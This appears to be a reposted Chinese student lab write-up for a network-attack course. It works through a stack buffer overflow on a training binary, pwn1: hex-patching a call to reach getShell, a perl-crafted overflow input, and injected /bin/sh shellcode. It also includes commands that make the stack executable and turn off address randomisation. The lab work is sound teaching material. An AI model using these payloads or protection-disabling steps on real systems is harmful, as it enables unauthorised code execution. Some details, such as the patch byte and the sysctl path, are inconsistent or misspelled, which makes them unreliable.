首页 > 其他 > 详细

2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

时间:2019-03-12 23:36:17      阅读:86      评论:0      收藏:0      [点我收藏+]

标签:十六   切换   ont   spa   技术   shell函数   字节   roo   字符串   

2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

实验点1:逆向及Bof基础实践

实践任务

用一个pwn1文件。 该程序正常执行流程是:main调用foo函数,foo函数会回显任何用户输入的字符串。 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不被运行的。实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。 这几种思路,基本代表现实情况中的攻击目标: 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码。

基础知识

  • NOP, JNE, JE, JMP, CMP汇编指令的机器码
  1. NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  2. JNE:条件转移指令,如果不相等则跳转。(机器码:75) -JE:条件转移指令,如果相等则跳转。(机器码:74)
  3. JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
  4. CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

常用的Linux基本操作

  1. objdump -d:从objfile中反汇编那些特定指令机器码的section。
  2. perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
  3. xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。 -ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
  4. |:管道,将前者的输出作为后者的输入。
  5. :输入输出重定向符,将前者输出的内容输入到后者中

实验步骤:

  • 用 objdump -d pwn1 看其汇编代码(图中是pwn3,做完了写博客截图用)技术分享图片
    e8表示“call”,后面的d7 ff ff ff是要跳转的地址,只要改成e3 ff ff ff就会跳到getShell函数(通过偏移量得出)。
  • vim pwn1 进入命令模式
  • 输入 :%!xxd 将显示模式切换为十六进制
  • 在底行模式输入/e8d7定位需要修改的地方,并确认
  • 进入插入模式,修改d7为c3
  • 输入 :%!xxd -r
  • 将十六进制转换为原格式
  • 使用 :wq 保存并退出 然后 ./pwn1 运行就可以了技术分享图片技术分享图片技术分享图片技术分享图片

    实验点2:自己构造输入参数使缓冲区溢出,参数溢出部分为getShell函数的地址

    系统读入字符串留32字节缓冲区,输入超过32字节就会溢出,就用溢出的部分去覆盖返回地址

思路:

  • 反汇编pwn1文件找到getShell的地址:0804847d
  • 输入参数,使32字节后面内容为地址0804847d对应的数
  • 执行文件

步骤

  1. (已知getshell地址为0804847d,)
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input  生成一个input文件,参数已经构造好的
xxd input  可以查看构造的文件.
(cat input; cat) | ./pwn1  命令输入参数

技术分享图片

实验点3:注入shellcode并执行(RNS)

  • 首先使用 apt-get install execstack 命令安装execstack。 然后接连输入:
- [email protected]:~# execstack -s pwn1 //设置堆栈可执行
[email protected]:~# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1
[email protected]:~# more /proc/sys/kernel/randomizevaspace 
2 
[email protected]:~# echo "0" > /proc/sys/kernel/
randomizevaspace //关闭地址随机化
[email protected]:~# more /proc/sys/kernel/randomizevaspace
0

目标:向foo函数输入参数,造成缓冲区溢出,改变foo的返回地址,,跳到shellcode。也就是,找到foo函数的返回的地址,将其改成shellcode开始的地址 步骤:

 

- 使用命令   perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

注入,前面32个A用来填满buf,\x04\x03\x02\x01为预留的返回地址,下面找这个返回地址。

  • 在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击,回车后不要动这个终端,然后去打开另一个终端。

  • 在第二个终端中

  1. ps -ef | grep pwn 查看pwn进程号
  2. 用gdb, attach 11031 去调试这个进程
  3. disassemble foo 命令反汇编,通过设置断点,来查看注入buf的内存地址:
  4. 用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址
  5. 用x/16x 0xffffd2ac命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd2b0
  6. 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命令
perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  1. 再用
(cat input_shellcode;cat) | ./pwn1

命令次执行程序,攻击成功!
技术分享图片
技术分享图片
技术分享图片
技术分享图片

2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

标签:十六   切换   ont   spa   技术   shell函数   字节   roo   字符串   

原文:https://www.cnblogs.com/heyanda/p/10520257.html

(0)
(0)
   
举报
评论 一句话评论(0
0条  
登录后才能评论!
© 2014 designnerd.net 版权所有 鲁ICP备09046678号-4
打开技术之扣,分享程序人生!
             

鲁公网安备 37021202000002号